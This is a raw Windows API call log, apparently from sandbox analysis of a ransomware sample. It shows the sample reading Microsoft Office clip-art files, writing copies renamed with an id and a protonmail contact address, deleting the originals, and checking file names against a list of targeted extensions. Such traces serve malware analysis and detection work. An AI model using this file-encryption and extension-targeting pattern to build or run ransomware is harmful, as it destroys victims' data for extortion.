	[0197.158] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x3014, lpOverlapped=0x0) returned 1
	[0197.163] WriteFile (in: hFile=0x510, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x3020, lpOverlapped=0x0) returned 1
	[0197.188] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.188] WriteFile (in: hFile=0x510, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.189] SetEndOfFile (hFile=0x510) returned 1
	[0197.189] CloseHandle (hObject=0x510) returned 1
	[0197.189] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.189] SetEndOfFile (hFile=0x580) returned 1
	[0197.192] CloseHandle (hObject=0x580) returned 1
	[0197.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1
	[0197.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.194] lstrlenW (lpString=".doc") returned 4
	[0197.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.194] lstrlenW (lpString=".docx") returned 5
	[0197.194] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.194] lstrlenW (lpString=".pdf") returned 4
	[0197.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.194] lstrlenW (lpString=".xls") returned 4
	[0197.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.194] lstrlenW (lpString=".xlsx") returned 5
	[0197.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.194] lstrlenW (lpString=".ppt") returned 4
	[0197.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.194] lstrlenW (lpString=".zip") returned 4
	[0197.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.194] lstrlenW (lpString=".rar") returned 4
	[0197.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString=".bz2") returned 4
	[0197.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString=".7z") returned 3
	[0197.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString=".dbf") returned 4
	[0197.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString=".1cd") returned 4
	[0197.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString=".jpg") returned 4
	[0197.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString=".doc") returned 4
	[0197.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString=".docx") returned 5
	[0197.195] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.195] lstrlenW (lpString=".pdf") returned 4
	[0197.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString=".xls") returned 4
	[0197.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.195] lstrlenW (lpString=".xlsx") returned 5
	[0197.195] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.195] lstrlenW (lpString=".ppt") returned 4
	[0197.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.195] lstrlenW (lpString=".zip") returned 4
	[0197.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.195] lstrlenW (lpString=".rar") returned 4
	[0197.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.196] lstrlenW (lpString=".bz2") returned 4
	[0197.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.196] lstrlenW (lpString=".7z") returned 3
	[0197.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.196] lstrlenW (lpString=".dbf") returned 4
	[0197.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.196] lstrlenW (lpString=".1cd") returned 4
	[0197.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0197.196] lstrlenW (lpString=".jpg") returned 4
	[0197.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.196] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.196] lstrlenW (lpString="J0107300.WMF") returned 12
	[0197.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.197] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2460) returned 1
	[0197.197] CloseHandle (hObject=0x580) returned 1
	[0197.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220
	[0197.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.198] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.198] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.199] GetLastError () returned 0x0
	[0197.199] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x99c, lpOverlapped=0x0) returned 1
	[0197.201] WriteFile (in: hFile=0x510, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0197.202] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.202] WriteFile (in: hFile=0x510, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.202] SetEndOfFile (hFile=0x510) returned 1
	[0197.202] CloseHandle (hObject=0x510) returned 1
	[0197.202] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.202] SetEndOfFile (hFile=0x580) returned 1
	[0197.205] CloseHandle (hObject=0x580) returned 1
	[0197.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1
	[0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.206] lstrlenW (lpString=".doc") returned 4
	[0197.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.206] lstrlenW (lpString=".docx") returned 5
	[0197.206] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.206] lstrlenW (lpString=".pdf") returned 4
	[0197.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.206] lstrlenW (lpString=".xls") returned 4
	[0197.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.206] lstrlenW (lpString=".xlsx") returned 5
	[0197.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.206] lstrlenW (lpString=".ppt") returned 4
	[0197.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString=".zip") returned 4
	[0197.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.207] lstrlenW (lpString=".rar") returned 4
	[0197.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString=".bz2") returned 4
	[0197.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString=".7z") returned 3
	[0197.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString=".dbf") returned 4
	[0197.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString=".1cd") returned 4
	[0197.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString=".jpg") returned 4
	[0197.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.207] lstrlenW (lpString=".doc") returned 4
	[0197.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString=".docx") returned 5
	[0197.207] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.207] lstrlenW (lpString=".pdf") returned 4
	[0197.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.207] lstrlenW (lpString=".xls") returned 4
	[0197.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.207] lstrlenW (lpString=".xlsx") returned 5
	[0197.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.207] lstrlenW (lpString=".ppt") returned 4
	[0197.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.208] lstrlenW (lpString=".zip") returned 4
	[0197.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.208] lstrlenW (lpString=".rar") returned 4
	[0197.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.208] lstrlenW (lpString=".bz2") returned 4
	[0197.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.208] lstrlenW (lpString=".7z") returned 3
	[0197.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.208] lstrlenW (lpString=".dbf") returned 4
	[0197.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.208] lstrlenW (lpString=".1cd") returned 4
	[0197.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0197.208] lstrlenW (lpString=".jpg") returned 4
	[0197.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.208] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.208] lstrlenW (lpString="J0107302.WMF") returned 12
	[0197.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.209] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4136) returned 1
	[0197.209] CloseHandle (hObject=0x580) returned 1
	[0197.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220
	[0197.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.210] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.210] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0197.515] GetLastError () returned 0x0
	[0197.515] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1028, lpOverlapped=0x0) returned 1
	[0197.565] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1030, lpOverlapped=0x0) returned 1
	[0197.567] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.567] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.567] SetEndOfFile (hFile=0x5bc) returned 1
	[0197.567] CloseHandle (hObject=0x5bc) returned 1
	[0197.568] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.568] SetEndOfFile (hFile=0x580) returned 1
	[0197.573] CloseHandle (hObject=0x580) returned 1
	[0197.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1
	[0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.575] lstrlenW (lpString=".doc") returned 4
	[0197.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.575] lstrlenW (lpString=".docx") returned 5
	[0197.575] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.575] lstrlenW (lpString=".pdf") returned 4
	[0197.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.575] lstrlenW (lpString=".xls") returned 4
	[0197.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.575] lstrlenW (lpString=".xlsx") returned 5
	[0197.575] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.575] lstrlenW (lpString=".ppt") returned 4
	[0197.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.575] lstrlenW (lpString=".zip") returned 4
	[0197.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.575] lstrlenW (lpString=".rar") returned 4
	[0197.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.575] lstrlenW (lpString=".bz2") returned 4
	[0197.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString=".7z") returned 3
	[0197.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString=".dbf") returned 4
	[0197.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString=".1cd") returned 4
	[0197.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString=".jpg") returned 4
	[0197.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString=".doc") returned 4
	[0197.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString=".docx") returned 5
	[0197.576] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.576] lstrlenW (lpString=".pdf") returned 4
	[0197.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString=".xls") returned 4
	[0197.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.576] lstrlenW (lpString=".xlsx") returned 5
	[0197.576] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.576] lstrlenW (lpString=".ppt") returned 4
	[0197.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.576] lstrlenW (lpString=".zip") returned 4
	[0197.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.576] lstrlenW (lpString=".rar") returned 4
	[0197.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.576] lstrlenW (lpString=".bz2") returned 4
	[0197.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.577] lstrlenW (lpString=".7z") returned 3
	[0197.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.577] lstrlenW (lpString=".dbf") returned 4
	[0197.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.577] lstrlenW (lpString=".1cd") returned 4
	[0197.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0197.577] lstrlenW (lpString=".jpg") returned 4
	[0197.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.577] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.577] lstrlenW (lpString="J0107342.WMF") returned 12
	[0197.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.578] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4244) returned 1
	[0197.578] CloseHandle (hObject=0x580) returned 1
	[0197.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220
	[0197.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.579] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.579] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0197.580] GetLastError () returned 0x0
